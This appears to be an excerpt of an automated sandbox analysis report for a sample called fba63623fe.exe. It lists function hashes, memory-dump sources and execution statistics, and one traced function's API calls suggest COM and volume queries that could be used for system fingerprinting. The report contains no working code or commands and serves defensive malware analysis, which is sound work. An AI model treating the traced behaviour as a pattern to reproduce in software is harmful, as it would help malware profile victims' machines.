Opcode ID: c5b8cfc6ea3de9d7613e64faa072634cf9f6fab7e22ef67c6e94c6b4a6e66d2f
Instruction ID: d2559b038ddbc0f2e4d425158fc285db09573d81e8512bb3ba06fe4dcaec326f
Opcode Fuzzy Hash: c5b8cfc6ea3de9d7613e64faa072634cf9f6fab7e22ef67c6e94c6b4a6e66d2f
Instruction Fuzzy Hash: FE017E70845268CFEB65DFA9D8887DCBBF0BB05345F20089AD549A3251C7744AC4DF16

Function 052A3288 Relevance: .3, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdfbb44d3a5d1c473979860ecab8a9f79c4572abd749c18319035a732abf5bd
Instruction ID: 20089151f1bd109a605baa38936eba997ca0de15d31afe066f7684069290edee
Opcode Fuzzy Hash: 7bdfbb44d3a5d1c473979860ecab8a9f79c4572abd749c18319035a732abf5bd
Instruction Fuzzy Hash: 9AA18032B14149DFCB15DF68D894AAE7BB2EF99700F144469E806EB3A1CB71DC41CBA1

Function 052AA082 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be24abf51a16c98238c13d80edd41cca0da6c00237709e975ad384b554c1e6a
Instruction ID: 6305b5490bc7d29c087ab64b4cae00e7016dc1629db4bc519ed5db0df5f76ab5
Opcode Fuzzy Hash: 5be24abf51a16c98238c13d80edd41cca0da6c00237709e975ad384b554c1e6a
Instruction Fuzzy Hash: D5A19274A10228CFDB24DF65E859B9DBBB6FF44301F1081AAE80AA7395CB351E85CF51

Function 02C3DBF8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937fdec75696871e5c068df66d0b7431c1fe12873b86cf8b2fb6cf10fb0b0909
Instruction ID: 84a872483f411a8742c4f59fb7519268a97db41e92d7ef67f8319dcf111d810a
Opcode Fuzzy Hash: 937fdec75696871e5c068df66d0b7431c1fe12873b86cf8b2fb6cf10fb0b0909
Instruction Fuzzy Hash: E351E674E15218DFCB05DFAAE884AEDBBB6FF89300F10942AE416A7350DB745946CF50

Function 02C3DEA8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467cbeab552b891df9fb23abef8ff46d2d3cb437b6e7b23e1c0662f79e6e6a72
Instruction ID: a850b01ab5ce7db5ab4522e7cb7f1d54882eca01f1bc056db070c4f377a10c78
Opcode Fuzzy Hash: 467cbeab552b891df9fb23abef8ff46d2d3cb437b6e7b23e1c0662f79e6e6a72
Instruction Fuzzy Hash: 3841AC74E01219DFCB05DFAAD884AEEBBF6BF89300F10886AE816A7350D7715A45CF51

Function 052A7DF8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a591a2de540f4cabbe08d3b9b637c2f91a0a8b1c96cd2aa2b1cab64a56f5b10b
Instruction ID: 194b6b91b1279416fab5e3c1422994094c60609a66dbf40e3901f87bd97930e7
Opcode Fuzzy Hash: a591a2de540f4cabbe08d3b9b637c2f91a0a8b1c96cd2aa2b1cab64a56f5b10b
Instruction Fuzzy Hash: 6E41A1B5E012098FCB44DFA9D584AEEBBF2FF89310F14806AE415A7361DB35A905CF50

Function 02C3572F Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd4d7873dc1ec641ab4dd3052792d8f1dd8512f7057588ac065d3d69ecff2a1a
Instruction ID: bcf64754ecf3cbed767e3df736960d2f92127d3f6a8748f462b2108f321c70ca
Opcode Fuzzy Hash: dd4d7873dc1ec641ab4dd3052792d8f1dd8512f7057588ac065d3d69ecff2a1a
Instruction Fuzzy Hash: B0418C74E016189FDB15CFAAD894ADDBBF2BF88310F14812AE805B7364DB705946CF50

Function 00F9D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2797776192.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f9d000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 027e6126f7988bc50e001d7ecffd14af489e6d8d5ab646d2ab437514ac5f0869
Instruction ID: aaaca3755dd8a48dc6b17667730d9861b951c52484fd5b6af0141aa49d3b98c3
Opcode Fuzzy Hash: 027e6126f7988bc50e001d7ecffd14af489e6d8d5ab646d2ab437514ac5f0869
Instruction Fuzzy Hash: B621D372904244DFEF15DF14D984B26BF65FB94324F34C569E9090B26AC33AD80AE6A2

Function 052A7F17 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c294959a639c8a62b9ad8424622b1384ebc5a21106fbd6e2051a1be5ba5dee
Instruction ID: 906a54338440c7536351b49f321f08df062515096e902008218f776f465b4076
Opcode Fuzzy Hash: 98c294959a639c8a62b9ad8424622b1384ebc5a21106fbd6e2051a1be5ba5dee
Instruction Fuzzy Hash: E331CD76E112199FDB05CFA8D980AEEBBB2FF88310F14806AE819A7350D7345A45CF94

Function 052A3278 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 624f0c63a754d19c0e53ce6c55079ece8e1043ec48a3ca8431628c39618cd134
Instruction ID: c9ec0d8c4ce7b6d2cbd7ca96573b38ebad09d6cd1e6d761f2590e04615f178bd
Opcode Fuzzy Hash: 624f0c63a754d19c0e53ce6c55079ece8e1043ec48a3ca8431628c39618cd134
Instruction Fuzzy Hash: 74218C32A00209DFCF05DFA8E944ADDBBB2EF99310F144569E402BB3A0C7719D51DBA0

Function 00F9D005 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2797776192.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f9d000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f414225395083a9e6049bed804f028daf7ba056075132a86dde3415c5ea689
Instruction ID: 014e292485ce9f378ff344b9fca90425ef6f5ad3b48abdad0cf5d7bee33a8fcb
Opcode Fuzzy Hash: 06f414225395083a9e6049bed804f028daf7ba056075132a86dde3415c5ea689
Instruction Fuzzy Hash: 4B21B0754093C08FDB03CF24D994716BF71EB86324F2981EAD8458B667C33A980ADB62

Function 02C34F31 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400c07087f379053d6894a49cbf27a3832143bed04854ae8c8ae4d9bc0f7ca87
Instruction ID: d524a4df107e714333b5630f22ed5670fc103bf42d33c023a38eb5b32ca33449
Opcode Fuzzy Hash: 400c07087f379053d6894a49cbf27a3832143bed04854ae8c8ae4d9bc0f7ca87
Instruction Fuzzy Hash: 05115734D011089FDB14DFA5D9146EDBBF2BF88304F504429E401B7264EB3A4A05DF50

Function 02C3DA18 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1faa47d2105f2af0d2c8ef60cc30bb20151294093304171f55507cc7de912ea
Instruction ID: 4fce98e8bab2e342ecfbdd6d53cabbfe1c71170728b7446a9eba0e90e66b78f7
Opcode Fuzzy Hash: c1faa47d2105f2af0d2c8ef60cc30bb20151294093304171f55507cc7de912ea
Instruction Fuzzy Hash: 2201EFB0D0020D9FCB44EFA8D9406AEBBB1FF88305F5045AAD819A3350EB315A00DB91

Function 052A7FF4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60dadbfe6ac7b4bbb59f3a541ddd1a8627c299d70c38e688740bcb94c484f982
Instruction ID: de77b37c2cfd7535b0e87e335eaa046ba5f2aeaa369a4a9041325555cdf2b930
Opcode Fuzzy Hash: 60dadbfe6ac7b4bbb59f3a541ddd1a8627c299d70c38e688740bcb94c484f982
Instruction Fuzzy Hash: 1701F276D09209EFCF01CFE8D8808EDBFB2FF49310F1440AAE654A7220D2759A52DB50

Function 02C302C9 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f553eb1e72f486e76ae8790450728048908565b0d4ad136f8ff71ccce5aa307
Instruction ID: 3fc2b1d870559395190a6fda1a633f6f5eff8ef1ecb67c23c28452275ca95003
Opcode Fuzzy Hash: 6f553eb1e72f486e76ae8790450728048908565b0d4ad136f8ff71ccce5aa307
Instruction Fuzzy Hash: 19012871889258CFDB218FA9D8483CC7BF0BF06325F200ADAC455A3292C7740985CF15

Function 052AA808 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34582effefccf9805f67defe7a838eb14df3286b9a399d3f198cd602cf451621
Instruction ID: af37d212f0f7f0a69c082f2f9e13ece65eba8ecfe3164cfc56e22c5ebb132530
Opcode Fuzzy Hash: 34582effefccf9805f67defe7a838eb14df3286b9a399d3f198cd602cf451621
Instruction Fuzzy Hash: 51F0DF70E25209EFCB80DBB995496ADFBF5AF48301F00C0AA9819E2250EB309A45CB90

Function 02C30255 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1442efb5315e6dd7a1a51f85b4be52a38192463b97015f94062dff41e50da3
Instruction ID: fd8ce7dfdfba6363b6632059feb355b3b60fdc8c9e8c1472c0a0907362fdc158
Opcode Fuzzy Hash: 2b1442efb5315e6dd7a1a51f85b4be52a38192463b97015f94062dff41e50da3
Instruction Fuzzy Hash: 2701C470849298CFDB22CFA9D8497CCBFF4AF06310F1009DAD489A7262D7754A84CF16

Function 052AA7F9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e36b0a017f5f26302a9642cadd80206aeb8e89310766ab936a5c1e2f57ecba
Instruction ID: c110ff0699764709c0cc718e7b6f8846bb3f519ddf59b35ac56e08f91486b9c2
Opcode Fuzzy Hash: b8e36b0a017f5f26302a9642cadd80206aeb8e89310766ab936a5c1e2f57ecba
Instruction Fuzzy Hash: 56E09B71935146DFCB51CBB8D5493E8BFF4EF15310F10929AD82492391E731C906DB40

Function 02C35058 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b72f818f864fc41b94effc5530799479c33733e64b0ecdc863443a5c78e92b5c
Instruction ID: 53ac7e2f99cbcea0b04e4eb7fc9c5171762fd466175227c1dffae63fafff69d6
Opcode Fuzzy Hash: b72f818f864fc41b94effc5530799479c33733e64b0ecdc863443a5c78e92b5c
Instruction Fuzzy Hash: 59E0DF70D5924A8ECB12DFFD94027EEBFF4AB09248F44419AC509D3212E7764185CBC2

Function 02C35950 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d67846847c1ee797fbfea75027a32977ef9a66a2665c7f64a72d8a66590630
Instruction ID: 0d94968352ec6bdb727d885b9e9538d51a5cc54920a82b9132ebae25457f5588
Opcode Fuzzy Hash: 33d67846847c1ee797fbfea75027a32977ef9a66a2665c7f64a72d8a66590630
Instruction Fuzzy Hash: 90E09270C5A348DFCB42CBB8A445AACBFF0AB19315F1441EACC4593252E7314A54DB41

Function 052AA41B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d9bb89546edb48353625566cd4a6fbe19b5a1dcb4fdcf64936f93983c7b8e5
Instruction ID: 7b431e907591882442699a507e334ee025b2a7aba70c98e9d1b04ba37dbf27c8
Opcode Fuzzy Hash: d9d9bb89546edb48353625566cd4a6fbe19b5a1dcb4fdcf64936f93983c7b8e5
Instruction Fuzzy Hash: 95F0DF70A12209CFCB14DF68D589B89BBF5FF04309F45D094E509AB215C774AE84CF81

Function 02C35899 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8a42874e99169a475a146cdf5f785285a1865eb8a429b82acd70ebbebdc679
Instruction ID: a97411766289f4bd39b36d520a0b360db320d4d5fe3585ad4d747657b142734b
Opcode Fuzzy Hash: 1a8a42874e99169a475a146cdf5f785285a1865eb8a429b82acd70ebbebdc679
Instruction Fuzzy Hash: 0BE0C26098F248DEC3038760A401ABD7B65DF82244F5055E99405531A6D6704E05D601

Function 02C3013D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c3e83d9324ad400e6a1a75fcf672d38bd29cd38233c6f698e7e4dab74ad4a8
Instruction ID: fc478505436cf0d0184d6916ae099cdf05e69e05c2a93b19427ece0a2bd836cd
Opcode Fuzzy Hash: a5c3e83d9324ad400e6a1a75fcf672d38bd29cd38233c6f698e7e4dab74ad4a8
Instruction Fuzzy Hash: 07F0DAB4904218CFCB65DF64D994B98B7B4FB49305F10059AD106D7325CB389D84CF04

Function 02C356E9 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b2cdc725e76bde9b232a192c4f8fa6e7f55d0366655aacd50afc0a7bb939bb
Instruction ID: 385c04b9ce9ef11ffe706e8adecd7ca14ded0a0f12aa8f86708e90d345cf76b6
Opcode Fuzzy Hash: 98b2cdc725e76bde9b232a192c4f8fa6e7f55d0366655aacd50afc0a7bb939bb
Instruction Fuzzy Hash: ABE04F70D2A248DFCB51DFB8D849E8C7FB0EB16225F1402EED845D32A6E7718A58DB41

Function 02C35960 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b474e33be1328d98df55f4cccbbd16331c4b5433dabe77f4714d8b109b2ee4
Instruction ID: ba4719302cfcbf25e68d06d1b023b52a835794f550b7157f51005f31add9e91a
Opcode Fuzzy Hash: 69b474e33be1328d98df55f4cccbbd16331c4b5433dabe77f4714d8b109b2ee4
Instruction Fuzzy Hash: 81E0EC7095520CDFC741DFB8E84569CBBF4AB08315F5045AAD809A3250E7315A55DB41

Function 02C35018 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2180b9f638d7c6944ca4a980e66d7c07dd1590a484101483990117ecd6fc8cb
Instruction ID: 63dfec31956f41f87a50bf977844851a11f9a24f6a298ed33f223465eccf86bf
Opcode Fuzzy Hash: f2180b9f638d7c6944ca4a980e66d7c07dd1590a484101483990117ecd6fc8cb
Instruction Fuzzy Hash: 4EE0CD5004D1D85ED717977968747D43F705B1631DF4D04CBE4C2461A3C7AA4145FB52

Function 02C34F01 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa35083cc247b13e88862070f1d631224b5a3dccd94a488d1c2b62f8281273f4
Instruction ID: b40d049e5b4733d6b822ee9846341a30b6d2b233f194fe3a40db65edb14ae042
Opcode Fuzzy Hash: aa35083cc247b13e88862070f1d631224b5a3dccd94a488d1c2b62f8281273f4
Instruction Fuzzy Hash: C8E01270915148DFC751DFB89455AAD7FF0EB55315F1489E9D805D3261D2714A01DB40

Function 02C356F8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd10ff16c1a994412c104c71ccd62cad081781f61613f84813bb6a84d7395cd
Instruction ID: 65fda9379d1329bcbfff43605519dca0dccd1b3c8f1fc3833dc7e07952af4486
Opcode Fuzzy Hash: fbd10ff16c1a994412c104c71ccd62cad081781f61613f84813bb6a84d7395cd
Instruction Fuzzy Hash: 0BE01770D2120CEFCB44EFB8E849A9CBBF4AB08315F5041AA9808E3350E7305B90DB91

Function 02C30040 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d752d654e566cc066a87679554efae81bad221ad775a57c7ea1811db57502e
Instruction ID: eb8801f4e234f6ec262fd94c223e8511e5a196614ccd688040abdf031fdb3198
Opcode Fuzzy Hash: 56d752d654e566cc066a87679554efae81bad221ad775a57c7ea1811db57502e
Instruction Fuzzy Hash: E2D05E3084920CDFCB01DFB5A805AADBFB8AB06306F4041EAD84862391D7315A50EB91

Function 02C3C678 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43be1bb9b694ecf88e9a103c6e982780194561d464b6595bae8d2a5c3bd1b6d0
Instruction ID: e8f16eb8c4c99dff23d7edd690743b39f3e5175206d3dd04a406afecd3338eba
Opcode Fuzzy Hash: 43be1bb9b694ecf88e9a103c6e982780194561d464b6595bae8d2a5c3bd1b6d0
Instruction Fuzzy Hash: 67D05E7081620CDFC741DFA9A9086AD77FCE709315F105896A809D3210E7315B40EA41

Function 02C3003B Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8b60495e78bdd38a16e96c1acba7b5ecdccd1fd4bde262ca532e9b8e311838
Instruction ID: aa937f1fd0396e32f757da49554d11f3388f0bcdf7b529996ae6f3118e3d8d41
Opcode Fuzzy Hash: fc8b60495e78bdd38a16e96c1acba7b5ecdccd1fd4bde262ca532e9b8e311838
Instruction Fuzzy Hash: B6E0C730809108CECB02AFB5A4096EDBFB0EB4A312F0001EAE888A2290D7310A10EB80

Function 02C358A8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2033ace5dffb790a780f708b2c7f478164e4d2d90ef9a04d2844be1fa4fb2667
Instruction ID: 99e4cca1566725832a3ef52283bebd7bf290e9c9b63f7a533464628d0a46ff29
Opcode Fuzzy Hash: 2033ace5dffb790a780f708b2c7f478164e4d2d90ef9a04d2844be1fa4fb2667
Instruction Fuzzy Hash: 33D0227088F20CEBC302DBA5D800FADB3ACEB06249F800898980813261DB311E00E286

Function 02C34F08 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495798310f7d7845871a369abbc297003e5f6ab2b502bcb9a4c864891d5eb1f5
Instruction ID: e54505d0149aa52fba65fa984344f6f3737c038710ae410bd877a592cc2de457
Opcode Fuzzy Hash: 495798310f7d7845871a369abbc297003e5f6ab2b502bcb9a4c864891d5eb1f5
Instruction Fuzzy Hash: B2D0A77080120CDFC740DFA8D808A5D77F8E708315F0049A5A804C3310D7715E00E790

Function 02C3EE20 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5571c37c8e442decc3aa9bbde1359def5de2ac43ff8a5c79e8e69716d211656b
Instruction ID: 586d8932145c7c98a50bb110bff5095dd5ceb665123dacf34a961451bf9a751b
Opcode Fuzzy Hash: 5571c37c8e442decc3aa9bbde1359def5de2ac43ff8a5c79e8e69716d211656b
Instruction Fuzzy Hash: 5BD0123060030C9FDF115B71ED0CF257EDAAF44352F44883AE505C2161EB31C550DE51

Function 02C35028 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d548fab590e872a635c66279eaa7e118eca8d687c9262f937f5d54dde4af5c
Instruction ID: decb5f08785165815b9f90f8d48328e8f647f6cfbad655080a68c2489eccbcaa
Opcode Fuzzy Hash: 62d548fab590e872a635c66279eaa7e118eca8d687c9262f937f5d54dde4af5c
Instruction Fuzzy Hash: 5DD0C76000458C4DD7175765B8087A03F95534576DF8D1487E694442A3C7B65154FBA5

Non-executed Functions

Function 011E0BD0 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2798756677.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11e0000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1966ba059316c0008c9eb6a982add03b024a1124e0e23389183eeb0f357fdc27
Instruction ID: 352442aa04052a1b9b9a73dbe8a2554b17f04c5a83d6353d00996a6df55b1975
Opcode Fuzzy Hash: 1966ba059316c0008c9eb6a982add03b024a1124e0e23389183eeb0f357fdc27
Instruction Fuzzy Hash: BB41E0B4D006588FDF18DFE9D989B9DBBF1BB09300F209029E818AB290D7759885CF85

Analysis Process: fba63623fe.exePID: 8060, Parent PID: 8000COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	318
Total number of Limit Nodes:	9

Executed Functions

Function 00437DF0 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00438034
SysAllocString.OLEAUT32()\"^), ref: 004380C3
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438101
SysAllocString.OLEAUT32()\"^), ref: 0043817E
SysAllocString.OLEAUT32()\"^), ref: 00438238
VariantInit.OLEAUT32(C7C6C5CC), ref: 004382A8
VariantClear.OLEAUT32(?), ref: 004383F9
SysFreeString.OLEAUT32(?), ref: 0043841D
SysFreeString.OLEAUT32(?), ref: 00438423
SysFreeString.OLEAUT32(00000000), ref: 00438430
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,66966446,00000000,00000000,00000000,00000000), ref: 00438468

Strings

P%R, xrefs: 0043804A
O@, xrefs: 0043806A
pq, xrefs: 004382E2
)\"^, xrefs: 004380BE, 004380C2, 0043817D, 00438237, 0043845B
.H4J, xrefs: 0043805A

